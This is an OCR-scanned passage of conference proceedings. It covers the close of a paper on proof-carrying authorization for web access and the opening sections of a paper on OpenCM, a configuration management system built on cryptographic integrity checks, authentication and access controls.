the URL takes so long even though a proof isn’t 
included). In this case, it takes 3.2 seconds for the 
proxy to fetch the necessary facts, construct a proof, 
and fetch the desired page. 


A more typical situation is that a user attempts to 
access a protected page on a previously visited site 
(figure 6). In this case, the user is already likely to 
have proven to the server that she is allowed access 
to the server and the directory, and must prove only 
that she is also allowed to access the requested page. 
In this case she probably needs to fetch only a single 
(file or goal) fact, and the whole process takes 1 
second. Speculative proving would likely eliminate 
the overhead of an attempted fetch of a protected 
page without a proof, saving about .2 seconds. If 
the client already knows the file fact (figure 7), that 
length of the access is cut to about .6 seconds. 


When a user wants to access a page that she has 
already accessed and the session identifier used dur- 


protocol stage ms 
fetch URL attempt (page not protected) 50 _ 
total 50 


Figure 9. Access control turned off. 
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ing the previous, successful attempt is still valid, 
access 1s granted based on just the possession of the 
identifier — this takes about 175 milliseconds. 


Alice’s proof might have to be more complicated 
than in our example; it could, for example, contain 
a chain of delegations. For each link of the chain 
Alice would first have to discover that she couldn’t 
construct the proof, then she would have to fetch 
the relevant fact and attempt to construct the proof 
again — which in our system would currently take 
about .6 seconds. 


The performance results show that, even when all 
the facts are assembled, generating proofs is slow (at 
least 200 ms) and grows slower as the user learns 
more facts. While this is a fundamental bottle- 
neck, the performance of our prover is over an order 
of magnitude slower than it need be. If this were 
a production-strength implementation, we would 
likely have implemented the theorem prover in Java. 
The capabilities of T'welf are far greater than what 
we need and impose a severe performance penalty; 
a custom-made theorem prover that had only the 
required functionality would be more lightweight. 
This also impacts the proof-checking performance; 
a specialized checker [21] would be much faster. 


5 Conclusion 


In this paper we describe an authorization sys- 
tem for web browsers and web servers that solves 
the problem of interoperability across administra- 
tive or trust boundaries by allowing the use of ar- 
bitrarily complex security policies. Our system is 
implemented as add-on modules to standard web 
browsers and web servers and demonstrates that 
it is feasible to use a proof-carrying authorization 
framework as a basis for building real systems. 


We improve upon previous work on proof-carrying 
authorization by adding to the framework a notion 
of state and enhancing the PCA logic with goal con- 
structs and a module system. ‘The additions of state 
(through what we call sessions) and goals are instru- 
mental in making PCA practical. We also introduce 
mechanisms that allow servers to provide only selec- 
tive access to security policies, which was a concept 
wholly absent from the original work. In addition, 
we refine the core logic to make it more useful for ex- 
pressing interesting application-specific logics, and 
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we define a particular application-specific logic that 
is capable of serving as a security logic for a real 
distributed authorization system. 


Our application allows pieces of the security policy 
to be distributed across arbitrary hosts. Through 
the process of iterative proving the client repeat- 
edly fetches proof components until it is able to con- 
struct a proof. This mechanism allows the server 
policy to be arbitrarily complex, controlled by a 
large number of principals, and spread over an ar- 
bitrary network of machines in a secure way. Since 
proof components can themselves be protected, our 
system avoids releasing the entire security policy to 
unauthorized clients. Iterative authorization, or al- 
lowing the server to repeatedly challenge the client 
with new challenges during a single authorization 
transaction, provides a great deal of flexibility in 
designing security policies. 


Our performance results demonstrate that it is pos- 
sible to reduce the inherent overhead to a level 
where a system like ours is efficient enough for real 
use. To this end, our system uses speculative prov- 
ing — clients attempt to guess server challenges and 
generate proofs ahead of time, drastically reducing 
the exchange between the client and the server. The 
client also caches proofs and proof components to 
avoid the expense of fetching them and regenerat- 
ing the proofs. ‘The server also caches proofs, which 
avoids the need for a client to produce the same 
proof each time it tries to access a particular ob- 
ject. A module system in the proof language al- 
lows shared lemmas, which comprise the bulk of the 
proofs, to be transmitted only if the server has not 
processed them, saving both bandwidth and proof- 
checking overhead. 


Ongoing work includes investigating the use of 
oblivious transfer and other protocols for fetching 
proof components without revealing unnecessary in- 
formation and further refining our security logic to 
reduce its trusted base and increase its generality. In 
addition to allowing clients to import lemmas from 
a third party, we would like to devise a method for 
allowing them to import actual proof rules as well. 
We are also exploring the idea of using a higher- 
order logic as a bridge between existing (non-higher- 
order) security logics in a way that would enable 
authentication frameworks based on different logics 
to interact and share resources. Finally, we intend 
to significantly improve the performance of our sys- 
tem, in particular by using a specialized prover and 
proof checker. 
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A Axioms of the Core Logic 


Axioms of the higher-order core logic of our PCA 
system. Except for the last four, they are standard 
inference rules for higher-order logic. 


ANB AAB 


B andj ——————and_el 





A 
AR A eee 
A. a 
S| aperepret- 
Ave Al 1B 
- ; 
ee >j A> BA A i1lp_e 
Ae ap a 


A(Y) Y not occurring in Vz. A(z) 
Vz.A(z) 


—foralli 


VOM) 6 salle —_refl 


A(T) =X 


X=7 Fe 
AX) 


signature( pubkey, fmla, sig) 


Key(pubkey) says fmla siggee 


Key(A) says (F imp G) Key(A) says F 


ibe Sea ceeel fa — key_imp-e 
before(S)(71) To > Ty 
before(S)(T2) perc et 
_Key(localhost) says before(X )(Z)) | timecontrols 


before(X )(T) 


{1th USENIX Security Symposium USENIX Association 


USENIX Association 


Access and Integrity Control in a Public-Access, 
High-Assurance Configuration Management System 


Jonathan S. Shapiro 
shap @cs.jhu.edu 


John Vanderburgh 
vandy @srl.cs.jhu.edu 


Systems Research Laboratory 
Johns Hopkins University 


Abstract 


OpenCM is a new configuration management system created to support high-assurance development in 
open-source projects. Because OpenCM is designed as an open source tool, robust replication support is es- 
sential, and security requirements are somewhat unusual — preservation of access is as tmportant as prevention. 
Also, integrity preservation is a primary focus of the information architecture. Because some of our supported 
development activities target high-assurance systems, traceability and recovery from compromise are also vital 


concerms. 


This paper describes the mechanisms used by OpenCM to meet these needs. While some of the tech- 
niques used are particular to archival stores, others have potentially broader applications in replication-based 


distributed systems. 


1 Introduction 


OpenCM -— the Open Configuration Management Sys- 
tem — is a new configuration management (CM) sys- 
tem created to support high assurance, open source soft- 
ware development. It uses cryptographic naming and au- 
thentication to achieve distributed, disconnected, access- 
controlled configuration management across multiple ad- 
ministrative domains. 


High-assurance CM systems must support requirements 
for audit, traceability, and process enforcement [ISO98]. 
In particular, higher evaluation assurance levels require 
that every modification to the trusted computing base be 
validated (a form of audit) by a second person. Im- 
plicit in this requirements the need for provenance track- 
ing: knowing who performed which check-ins. If the 
same repository 1s to be used successfully for trusted and 
untrusted code bases, access controls must be present 
on branches. For validation to be cost-effective, cor- 
rect change sets should be straightforward to generate. 
This requires that the CM information architecture pro- 
vide strong integrity guarantees to guard against falsifica- 
tion of prior configurations. 


Open source projects introduce a different, and to some 
degree competing, set of requirements. These projects 
commonly span traditional administrative and corporate 
boundaries. Open source developers make heavy use of 
disconnected development at home or while traveling. 
These practices create multiple vulnerabilities: 


e Code in the developer workspace may be tampered 
with by a malicious party. With current CM sys- 
tems, there is no means to audit and recover if such 
code is committed. 


e The inability to commit while disconnected encour- 
ages larger change sets that commingle multiple 
changes. This facilitates developer mistakes. 


e Existing CM systems require developers to have a 
login account on the server to revise objects in the 
repository. Allowing such broad access from un- 
trusted (and potentially compromised) clients in- 
vites compromise of the server as well. 


Further, the multi-organizational nature of open source 
teams means that a supporting CM system must not rely 
on a single source of administrative authority for account 
generation or access control; the authorization and pro- 
tection model must provide for controlled commingling 
of administrative domains. 


The EROS [SSF99] project is developing a_high- 
assurance operating system using an open source devel- 
Opment process. To support this project, a new CM sys- 
tem supporting the combined requirements of open source 
and high assurance was required. Examination of existing 
configuration management systems suggested that none 
could meet our requirements, as none provides careful 
provenance tracking or supports integrity checks across 
hostile replicates. OpenCM [Sha02] was created to re- 
solve this deficiency. 


This paper describes the first-generation access and in- 
tegrity control mechanisms of OpenCM, which provide 
a safely replicatable store while avoiding the need for dis- 
tributed trust. We describe the usage model, threat model, 
guarantees provided, and discuss some implications of the 
OpenCM access control mechanism. We also identify 
two vulnerabilities that have emerged from oversights in 
the intial design, and the changes that are being made in 
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OpenCM to overcome these vulnerabilities. While the fo- 
cus of this paper is OpenCM, we believe that the underly- 
ing information architecture 1s a general-purpose schema 
that provides a wide-area, integrity-checked distribution 
and naming system for online archival content. 


2 OpenCM Usage Model 


OpenCM 1s a client/server application. Developers typ1- 
cally work on individual workstations with the repository 
hosted on a centrally managed server. In small projects 
these may be the same machine. Typical use is similar to 
that of CVS [Ber90]: the developer checks out a baseline 
version of some branch, makes modifications, and com- 
mits them back as the new state of that branch. As with 
CVS, the model is “change, then integrate” rather than 
“lock, then change.” Experience with both models sug- 
gests that post-integration is more effective for small de- 
velopment groups. Reasonable users might disagree with 
this view, and lease-based locks are being contemplated 
for a future version of OpenCM. 


2.1 Differences from CVS 


Key differences between OpenCM and CVS are as fol- 
lows: 


e OpenCM captures a complete audit trail of all mod- 
ifications, provides fine-grain access controls of 
reads and writes, and preserves content integrity 
when replicating across hostile repository servers. 


e OpenCM manages configurations, not collections. 
Every “commit” is a unique, atomic action. A 
cleanly reconstructable trail of versions is therefore 
preserved — even across renames. 


# OpenCM supports disconnected commit. A devel- 
oper can check into a local repository when the ref- 
erence repository is unreachable, allowing develop- 
ment to proceed and change history to be tracked 
when developing in remote locations. Subsequent 
integration preserves the history trail as well as the 
changes. 

e OpenCM is designed for use as a software distribu- 
tion infrastructure. Servers can selectively replicate 
some or all of various branches for redistribution or 
local use. 


e OpenCM uses SSL/TLS client authentication for 
authorization. It is therefore independent of the 
underlying operating system, supporting multi- 
organizational development without requiring the 
repository server to support “foreign” users. 


e OpenCM leverages its integrity checking mecha- 
nisms to reduce the number of network transac- 
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tions required when performing developer opera- 
tions such as update and revert. 


From an assurance perspective, three differences between 
OpenCM and CVS are especially important: 


First, OpenCM operation is not based on “patches.” 
Patches (as generated by diff) describe a change in the 
content of a line of development without conveying the 
history or provenance of the changes. This is insuffi- 
cient to support audit and traceability. OpenCM instead 
uses an object-based change description that preserves the 
entire connected graph of a development process, allow- 
ing the history of all integrated changes to be reviewed if 
OpenCM is properly used. In the process OpenCM pre- 
serves a complete audit of who performed each change. 


Second, OpenCM provides access controls on both 
branches and “‘files”’ The second is a misnomer, which 
will be explained in Section 5.4. A single project sup- 
ported by a one or more OpenCM repositories can have 
distinct development branches and audited branches, and 
can provide some degree of support for “social’’ con- 
straints (e.g. technical writers typically should not modify 
C source code). While separate branches can be used to 
keep selected users out of trouble, this can be inconvenient 
in a tight-knit project team. 


Third, OpenCM provides mechanisms for end-to-end in- 
tegrity checks between the originating repository for a 
branch and the end client. While it is possible for ma- 
licious replicates to inject bad data, such injections can 
be reliably detected by the client given only a modest 
amount of externally transmitted, non-sensitive informa- 
tion (a signature verification key). 


2.2 Threat Model 


Given that end users typically develop on untrusted ma- 
chines, OpenCM does not attempt to prevent the intro- 
duction of bad code. The design goal is to ensure that 
all development changes are performed by authenticated 
users, and that an audit trail is preserved for all changes. 
In the event that a client system is compromised, the de- 
sign goal is to (a) quickly disable that user’s authority to 
modify, and (b) retain enough information to successfully 
audit the changes made under the now-compromised au- 
thority. 


A direct consequence of untrusted clients is that OpenCM 
is vulnerable to denial of resource attacks. A compro- 
mised client may be used to upload an unbounded amount 
of state to a repository. This is unavoidable if untrusted 
clients are to be supported. Two mechanisms can be used 
to mitigate this: 


1. As aresult of the object naming strategy, OpenCM 
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repositories store duplicate content only once. 

2. Quotas can be imposed on new state introduced per- 
transaction and on total transaction duration. We 
have not (yet) implemented this. 


Each of the preceding vulnerabilities results from a func- 
tional requirement. In both cases, the “recovery” mecha- 
nism 1s the same: disable the compromised user, perform 
an audit of the suspected changes, and garbage collect the 
damage. 


With the inherent conflict between availability and re- 
source attacks acknowledged, the remaining threats 
against OpenCM are relatively few: 


1. OpenCM relies on the Secure Sockets Layer 
(SSL/TLS) [DA99] for transport security and client 
authentication. Any vulnerability in SSL is a poten- 
tial vulnerability in OpenCM. 

2. More realistically, an attacker might attack the pass- 
phrases of the user keys. This is a widely rec- 
ognized and ongoing weakness. [MT79, FK89, 
Wu99 | 


3. An attacker may seek to compromise the OpenCM 
repository from underneath by compromising the 
operating system or the server daemon. 


4. An attacker may seek to impersonate a repository, 
attempting to pass off bad (and perhaps compro- 
mised) content as valid. In high assurance applica- 
tions, impersonating a repository that serves trusted 
content is a particularly urgent concern. 


SSL is critical infrastructure to a very large number of ap- 
plications. This tends to make it widely attacked, widely 
tested, and quickly repaired. We are not cryptography ex- 
perts, and prefer to let the experts address these issues. 


Our primary concern with SSL is the second vulnerabil- 
ity: weak passphrases. Here we have chosen to compro- 
mise. While stronger authentication (e.g. S/Key [Hal94] 
or OPIE [MAM95]) is certainly possible, we suspect that 
it is not helpful in practice. If an attacker has compro- 
mised the end system, which would be necessary to steal 
the private key, we must assume that they have left a Tro- 
jan horse as well. In that case stronger encryption merely 
promotes false confidence. 


A second potential concern with SSL is that the operating 
system cannot assist in access enforcement. Given the de- 
centralized nature of the OpenCM authorization model, it 
is not possible for the operating system to do so. 


OpenCM provides scalability by enabling replication 
across untrusted repositories. At some cost in propa- 
gation delay, this allows load distribution across repli- 
cates. Experience from other projects suggests that this 
is a heavily used form of software distribution [Pol96]. 


For high-assurance software, this distribution method in- 
troduces potential vulnerabilities, and the integrity of the 
distributed content must be protected. OpenCM uses a 
combination of cryptographic techniques to achieve this 
(Section 3.5). 


2.3 (Guarantees 


Provided that a signature verification key can be dis- 
tributed via a trusted path, OpenCM provides the follow- 
ing guarantees: 


(1) The user can verify that any object obtained from a 
repository 1s valid. By “valid,” we mean that an integrity 
check can be performed that reveals whether this object 
is complete, and that it was checked in by an authorized 
modifier of the branch. Valid does not imply correct — 
verifying the code is beyond the scope of OpenCM. 


(2) While all objects received can be authenticated, no 
guarantees are provided about whether the object is up to 
date unless the user obtains it from the originating repos- 
itory. If the object is obtained from a replicate repository, 
it is guaranteed to have come from earlier valid state of 
the branch. 


(3) Ifa user’s authentication key or client is compro- 
mised, total integrity exposure is limited to the set of 
branches that the user can modify; OpenCM as a whole 
is not compromised. 


(4) Integrity verification is designed to be possible even 
if the user obtains certain types of partial copies of a 
branch. For example, the user may choose to replicate 
only selected versions of a branch, and can validate that 
the versions obtained are authentic. 


(5) Provided the originating repository is not compro- 
mised, the complete history of each branch originating at 
that repository will be available from that repository. This 
has implications for merge management. 


(6) The repository records authentication information 
for every change. In the event of user key compromise, 
this information is sufficient to allow audit of suspicious 
changes. 


(7) Impersonating a repository requires both stealing the 
repository’s private key and compromising the IP routing 
mechanisms near the client. 


3 Information Model 


To provide these trust guarantees, OpenCM takes advan- 
tage of the archival character of configuration manage- 
ment data. Archival information has two unusual proper- 
ties that tremendously simplify integrity checking. First, 
most objects in an archival store are persistent and un- 
changing; we refer to these objects as frozen. Second, ob- 
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Jects that can be modified allow modifications only under 
certain constraints. 


Depending on the application, two management strategies 
for modifiable objects are possible: 


e Eventual consistency, in which modifications are 
performed locally and eventually make their way 
by replication to some (possibly federated) master 
repository. 

e Source-controlled objects, where changes for a 
given object are permitted only on an object- 
specific “owning” repository. A sequence number 
can be used to resolve replication disputes for such 
objects. 


Configuration management applications fall under the 
second category, because a total ordering on the sequence 
of changes made to a given branch is required, and this 
cannot be guaranteed by eventual consistency. 


3.1 The Repository Schema 


The basic OpenCM repository is built on a relatively 
generic schema consisting of five object types: mutables, 
revision records, users, groups, and frozen content (Fig- 
ure 1). Every mutable carries its own name, the names 
of its controlling read and write group(s), (which are in 
turn mutables), the number of revisions that have been 
performed on this mutable, a human-readable name and 
description, and a sequence number indicating how many 
times the mutable has been in some way altered (used 
in replication). Mutables also carry a “flags” field. At 
present, the valid flags are “frozen,” indicating that the 
mutable cannot be revised, and “notrail’’, indicating that 
historical revision records for this mutable need not be 
preserved. A mutable can be legally modified only by 
its originating repository, and is signed using that reposi- 
tory’s signing key after each revision. 


Every mutable has associated with it zero or more revi- 
sion records. Each revision record contains a sequence 
number, the name of its associated mutable, a date stamp, 
a pointer (a cryptographic hash) to the frozen content as- 
sociated with that revision, and a cryptographic signature 
performed using the originating repository’s signing key. 


The repository layer knows only two types of (frozen) 
content objects. Users hold public keys and home direc- 
tory mutable names. Groups hold a set of user or group 
mutable names. 


Content objects in the OpenCM repository cannot be 
modified, and are therefore referred to as “frozen.” Be- 
cause these objects are frozen, their semantics depends 
exclusively on their content, and there is no reason to 
keep multiple copies of objects whose content chances to 
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Figure 1: Repository Schema. 


be identical. Frozen objects are therefore named by their 
cryptographic hash. 


Using cryptographic hashes achieves compression and in- 
tegrity checking at the cost of imposing a restriction on 
the application-level schema: the content model must be 
acyclic. Cycles in object names based on cryptographic 
hashes cannot be resolved without combining the objects 
into a single bundle. In the OpenCM repository, cycles 
can be managed by having a frozen object that contains 
the name of a mutable object. The OpenCM application 
does not require this. 


3.2 OpenCM Content Schema 


The content schema of the OpenCM application is shown 
in simplified form in Figure 2. Branches are mutable. 
Each branch consists of a linked list of configuration ob- 
jects that in turn hold Entities. 


A Configuration is simply a set of Entity objects. Each 
Entity provides a binding between a name, a set of at- 
tributes (client-side workspace permissions, for example), 
and an EntityBits object name. The EntityBits object de- 
scribes the content, as opposed to the metadata, of an ob- 
ject. The separation of Entity and EntityBits is purely a 
convenience. It allows the repository to record permis- 
sions and rename operations without needing to re-record 
the associated object content. 


The Entity/Entity Bits combination represents a single ver- 
sion of a given object. In OpenCM, all versioning 1s per- 
formed on configurations. Committing a change to a sin- 
gle object is accomplished by creating a new EntityBits 
object, a new Entity object, and a new Configuration ob- 
ject. The new Configuration is identical to the old one 
with the exception that the EntityBits name for the previ- 
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Figure 2: OpenCM Information Architecture. 





ous version of the modified object is replaced by the Enti- 
tyBits name for the new version. While there is no implied 
or required ordering of the Entity objects within a Con- 
figuration, unordered collections are serialized in such a 
way that their object names are sorted. This maximizes 
the likelihood that the repository will be able to identify 
common content between two objects that can be lever- 
aged for storage compression. 


While the described schema ts clearly specific to the CM 
application, the essential enabling properties for integrity 
validation are relatively generic: 


e The content model 1s acyclic. More precisely, cy- 
cles can be present only by having a frozen object 
contain the name of a mutable object. 

e Each mutable object 1s signed whenever it 1s 
changed. 


Any information pool that can be reduced to these con- 
straints can use the techniques described in this paper to 
provide distributed integrity checks across untrusted repli- 
cating stores. 


3.3. Frozen Object Naming 


The most important integrity mechanism of OpenCM is 
built into its object naming strategy. Frozen objects are 
named in the repository by the cryptographic hash of their 
content (currently SHA-1) Thus, a Configuration object is 
named by its hash expressed as a string of the form 


Cee shal Ohebaen. 7245 


where “frz”’ is a non-normative prefix indicating the type 
of the named object (used primarily for repository debug- 


ging), and “Olcb4c...7245” is the SHA-1 cryptographic 
hash of the frozen object. 


Using a cryptographic hash in this way has several desir- 
able attributes. 


First, cryptographic hashes simultaneously provide a 
unique naming scheme for all frozen objects and allows 
the content delivered by any repository to be checked 
for integrity failure. No practical technique is currently 
known by which to generate a string whose cryptographic 
hash collides with a previously known cryptographic 
hash. Further, the likelihood that such a string, if gen- 
erated, would pass higher level content checks (such as 
syntax checking during compilation) is vanishingly small. 


Second, cryptographic hashes are universally unique. Par- 
titioned (e.g. disconnected) repositories can generate 
names for frozen objects without fear of collision. This 
is helpful, as it prepares the ground for later replication. 
The only case in which frozen object names should col- 
lide is the case in which an object has already been copied 
from one repository to another. In that case, the content 
should be identical, so no conflict resolution mechanism 
is required. 


Finally, the use of a universally unique naming scheme 
allows efficient replication. Before fetching a frozen ob- 
ject from a source repository, the replication engine can 
check with the destination repository to see if the object 
is already present. 


OpenCM currently uses SHA-1 hashes, and we have per- 
formed extensive testing of real repositories without col- 
lision. However, the hashing strategy name is encoded 
within the hash as recorded. In the unlikely event that a 
collision ever occurs, an alternative hashing strategy can 
be employed to generate a fallback name. Given the dis- 
tributed and semi-connected nature of OpenCM, however, 
such a collision cannot necessarily be detected. 


3.4 Mutable Object Naming 


Regrettably, mutable objects cannot be named by crypto- 
graphic hashes of their content, because changes to the 
object would lead to object name changes, breaking links 
to these objects. To name mutable objects, OpenCM relies 
on cryptographically strong random number generation. 
Mutable object names are strings of the form: 
ODeCNCM<7./ and... 49 3/-270as 05 

where “7a5d...93”’ 1s the originating repository’s name and 
““27da...05” is a cryptographically generated unique name 
for this mutable assigned by the originating repository. 
A repository’s name is generated by taking the SHA-1 
hash of its initial public key (see Section 4.1). This elim- 
inates the risk of inadvertantly disclosing the signing key 
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[DavOl]. 


The choice of a URI format for mutable names 1s not ac- 
cidental. We plan to maintain a repository registry under 
the opencm. org domain. If the “7a5d...93” repository 
has been registered, then 


Jasd. 93 )TeGIStry ,Opencm org 


will resolve to the IP number of the serving host. 


Good random number generators are not universally 
available, and where available are not always prop- 
erly installed. At present, OpenCM relies on the 
OpenSSL implementation as its source of random num- 
bers. Unfortunately, current versions of OpenSSL rely 
on the underlying native random number generator. The 
/dev/random and /dev/urandom generators are 
reasonably good, but generators on other platforms are 
quite variable. The resulting exposure 1s less than it might 
at first appear, because mutable object names are gener- 
ated on the originating repository, and can therefore be 
tested to prevent collision. The inclusion of the reposi- 
tory’s name in the mutable object name therefore reduces 
the problem of name collision to elimination of collisions 
among repository public keys. 


3.5. Revision and Mutable Signing 


To ensure that mutable object integrity can be verified, a 
digital signature 1s computed each time the mutable ob- 
ject is changed. The signed content includes the object’s 
name as well as its content, and the name includes the 
repository’s public key. This makes object substitution 
detectable. In the usual case, the mutable object retains 
its change history. A mutable object consists of: 


sequence-number 
mutableURI 

r-group 

w-group 

nRevisions 
Signature-of-preceding 


The associated revision objects consist of: 


revision number 
mutableURI 

contentName 

authorURI 

date 
Signature-of-preceding 


Provided that the repository’s signature checking key can 
be reliably determined, the digital signature provides both 
authentication and integrity checking of the mutable and 
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revision objects. Frozen objects are named by the cryp- 
tographic hash of their content, which provides an inher- 
ent integrity check. Since the contentName references 
a frozen object, the authentication of the digital signa- 
ture effectively includes the entire graph of frozen objects 
reachable from the contentName object. 


4 Authentication 


OpenCM authentication is built on SSL client authenti- 
cation. Every user has (at least) one X.509 key, and 
wields this key in response to the SSL client authentica- 
tion challenge. We are in the process of implementing 
an OpenCM-agent utility similar to the ssh-agent 
[Ylo096] to serve as the user’s proxy for key management. 


4.1 Server Authentication 


While OpenCM is built on SSL/TLS, we have chosen to 
avoidreliance on certificate authorities for key authentica- 
tion. The human association provided by user certificates 
is not required by this application, and existing certificate 
authority mechanisms do not provide a reliable means to 
preserve repository identity across key updates. OpenCM 
therefore uses self-signed certificates. 


At present, OpenCM implements repository authentica- 
tion in a fashion similar to SSH [Y1096]. The client makes 
its first connection without knowing the repository’s pub- 
lic key, and records the public key provided by the reposi- 
tory to detect later substitutions. Security-conscious users 
can preload the client-side public key cache by explicitly 
inserting the correct repository key prior to connection. 
While adequate as a first implementation, this solution is 
unsatisfactory for secure operation by everyday users. 


The next release of OpenCM will use a certificate reg- 
istry mechanism: each repository will have both an online 
repository key and an offline registry update key. The up- 
date key is used exclusively to sign registry updates. A 
repository registry service publishes a set of (repository 
name, IP address, current public key, previous public key, 
registry public key) tuples for each repository. The SHA- 
1 hash of each update ts signed by the registry update key, 
providing a checkable sequence of updates. The initial 
public key can be checked by comparing its SHA-1 hash 
to the server’s name. 


By registering a public repository with a modest number 
of independent registries, server public keys can be ade- 
quately published and the risk of hostile registries can be 
mitigated. In order to forge a server that publishes trusted 
content, an attacker must obtain the private key, control a 
colluding key registry, and be able to redirect registry con- 
nections from the client to this registry. The last requires 
compromising either the client or the IP routing infras- 
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tructure near the client. 


Certificate registries require neither a hierarchy nor a care- 
fully managed certificate authority key. They are there- 
fore robust against both political interference and registry 
compromise. The cost of this is that the per-repository 
registry update key is analogous to a title instrument, and 
must be guarded. 


4.2. User Authentication 


OpenCM distinguishes two levels of access control: ac- 
cess to the repository vs. access rights on objects. Ac- 
cess to the repository is effectively an authentication con- 
trol. The repository access permitted to any given user 1s 
stored independently by each repository, and can be up- 
dated only by members of the repository administrative 
group. Read access allows the corresponding user to read 
the repository, subject to the further constraints of the ac- 
cess control lists on any objects the user attempts to ac- 
cess. Write access conveys the authority to upload objects 
to the repository (i.e. to consume storage resources). This 
access is honored only on the repository of origin. Mu- 
table objects are subject to the further constraint of per- 
object access controls. 


Because repository access is controlled on a_ per- 
repository basis, User objects can be replicated for the 
sake of traceability and display without granting authority 
on the destination repository. In public replicate reposito- 
ries, it is usual to grant replicated users read access on the 
replicate repository. 


OpenCM also provides a “dog house” for keys that are 
believed compromised. If a user’s authentication key has 
expired, or if it appears in the dog house, it will not be au- 
thenticated. Compromised and expired keys are retained 
for purposes of checking historical signatures. 


The use of cryptographic authentication renders OpenCM 
administratively “agnostic.” An outside user (e.g. one 
from another company) can be “introduced” to a repos- 
itory simply by adding their user key to the valid readers 
list. If they are an active (modifying) collaborator, they 
can also be added to the valid writers list. While these 
are preconditions to accessing the OpenCM repository at 
all, neither of these actions grants the user the ability to 
fetch or modify anything on the repository. Introduction 
merely makes the key available so that individual project 
administrators can choose to add this user to their respec- 
tive project groups. Note, however, that the resulting au- 
thority is entirely limited to OpenCM. The outside user 
has no ability to log in or to run programs outside of the 
control of OpenCM. OpenCM authentication is “user to 
Service” rather than “user to server.” 


5 Access Control 


All object references in the OpenCM repository originate 
with mutable objects. Frozen objects are, in effect, the 
content of the mutable objects that reference them. There- 
fore, the access control mechanisms appropriate to each 
are different. 


5.1 Access to Mutables 


The OpenCM access control mechanism for mutable ob- 
jects is similar to conventional ACLs with a twist: access 
control lists are first-class, mutable objects, and are them- 
selves subject to access control lists. 


Every mutable object names a “reader” and a “writer.” 
These slots may legally contain either the mutable URI 
of a user key or the mutable URI of a group. Group mem- 
bership is transitive: a user is a member of a group Go 
if (a) they are directly listed as a current member of Go 
or (b) they are a member (recursively) of some group G}, 
and G; 1s in turn a directly listed member of Go. Due to 
replication, it is possible for locally undetectable loops to 
arise in the group containment relationships. The mem- 
bership expansion algorithm is careful to detect and deal 
with cycles. 


Groups are themselves mutable objects. Like all muta- 
bles, groups are initially created as readable and writable 
by their creating user. The creating user is also inserted 
as a member of this group. User U can create a group 
G, make G the reader or writer of some branch, and then 
add other users to G, granting them read (write) authority 
while retaining the ability to revoke that authority. It is 
common in this situation to make the group’s r-group 
slot name the group itself (1.e. make it self-readable) so 
that users can see which groups contain them. 


The purpose of transitive groups is to facilitate delega- 
tion. By adding a group H as a member of G, where 
HT is readable and writable by some other user, user U 
can revocably delegate access control to this other user. 
This is particularly important in cross-organization col- 
laborations, where each participating company or entity 
may need to make its own local decisions about access 
control. 


It should be noted that delegation of this type is impossi- 
ble to prevent. Any user with read access to any object 
and write access to the repository has sufficient author- 
ity to create a new line of development derived from any 
existing state — this is required to allow branch creation. 
The new branch, however, is owned by its creating user, 
which leaves that user free to alter the access rights of the 
branch. 


Given this, the question to ask is not “How shall we pre- 
vent authorized users from behaving badly?” but rather 
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‘How shall we ensure that when such things are done rein- 
tegration remains possible?” By giving the user an oppor- 
tunity not to break the revision trail, OpenCM preserves 
the option of later re-integration. 


5.2 Access to Frozen Objects 


The readability test for frozen objects is reachability. If 
an authenticated user has read permission on a mutable 
object, any frozen object reachable from that mutable ob- 
ject is likewise readable. There are no ACLs on frozen 
objects. 


This point is a frequent source of confusion about the ar- 
chitecture, and it may be better understood given a brief 
digression on the implementation of access control lists. 
Imagine an unchanging (frozen) content object for which 
we wish to maintain a revisable access control list. To 
achieve this, there must be some place where a mutation 
can occur. Either the access control list itself must be mu- 
table or there must be some third, mutable container ob- 
ject that records the association between the content ob- 
ject and its access control list. The two designs are func- 
tionally interchangeable. In either case, the content ob- 
ject has in effect been rendered mutable. Extending the 
content model to be a graph rather than a single blob of 
bytes does not change the basic requirements for access 
control, nor does it inherently change the security of the 
access control model (but see Section 7). 


5.3 Impact of Replication 


Replication and first-class groups interact in a potentially 
surprising way. If a group G, in repository R, contains 
as one of its members another group G2 in repository Ro, 
replication will have the side effect of copying the reader 
keys reachable from G2 onto R,. This in turn has the ef- 
fect of allowing those users to read objects on R,; subject 
to the constraints of their respective access control lists. In 
effect, control of local objects can be delegated to groups 
that originate on a remote repository. These groups may 
in turn be controlled by remote users. This is either a bug 
or a feature, depending on point of view. 


We do not yet have enough experience with OpenCM to 
understand what the real impact of this will be. If it proves 
to be a source of difficulty in practice, fully local control 
can be restored by requiring that if G; 1s added as a mem- 
ber of Go, the addition will succeed only if both objects 
have the same originating repository. If necessary, we will 
add a repository configuration option to enforce this con- 
straint. 


We expect, however, that such a configuration option 
would not often be used because it would interfere with 
disconnected development. When performing a discon- 
nected commit to a locally created temporary branch, it 
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is typically desirable to create this temporary branch us- 
ing the same read and write groups as the original branch 
in order to allow others to see the development history 
when the temporary branch is replicated back to the mas- 
ter repository for integration. 


5.4 Finer Access Controls 


Experience in our research lab suggests that finer access 
controls are extremely useful. For example, we have stu- 
dents working on drivers for the EROS project. It is useful 
for them to be able to modify these drivers without be- 
ing able to modify the kernel code. At present, we handle 
this by creating a distinct line of development (branch) for 
each student’s work, but this ultimately impedes integra- 
tion. The concern is error rather than malice: deleting the 
wrong file could cause a fair bit of disruption. Fine-grain 
access controls help reduce such errors. 


Curiously, this type of access control is not really access 
control on files at all. Files in OpenCM are immutable, 
so there is no need to prevent their modification. Rather, 
these controls restrict the binding of file names in the 
client-side workspace. When we say “Fred can only mod- 
ify .html files,’ we are really saying that each configura- 
tion defines a set of (client-name, object-name) pairs, and 
we are going to restrict Fred’s selection of legal client- 
names to those that end in html. 


OpenCM provides fine-grain access control in the form of 
a table of regular expressions. This table describes which 
subsets of the client namespace a given user or group can 
modify. 


5.5 Summary of Access Checks 
Reading an OpenCM object requires that: 


1. User key is not in the dog house. 
2. User key has read access to repository. 


3. User key appears (transitively) in the read or write 
group of the mutable object they are trying to ac- 
cess. 


Creating a new mutable object requires that: 


]. User key is not in the dog house. 
2. User key has write access to repository. 


Committing a new revision additionally requires that: 


1. User key appears (transitively) in the write group of 
the mutable object they are trying to revise. 

2. For all client-side names in the configuration whose 
binding has changed relative to the previous ver- 
sion, the user is permitted to make binding changes 
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for that name according to the fine-grain control ta- 
ble. 


6 High-Assurance Development 


The EROS project is attempting to construct a system that 
can evaluate successfully at the highest currently defined 
evaluation level (EAL7). OpenCM is designed to facili- 
tate relatively open access, while providing accountabil- 
ity for modifications. In this section, we describe how 
OpenCM has been deployed within the Systems Research 
Laboratory to meet the EAL7 CM requirements. 


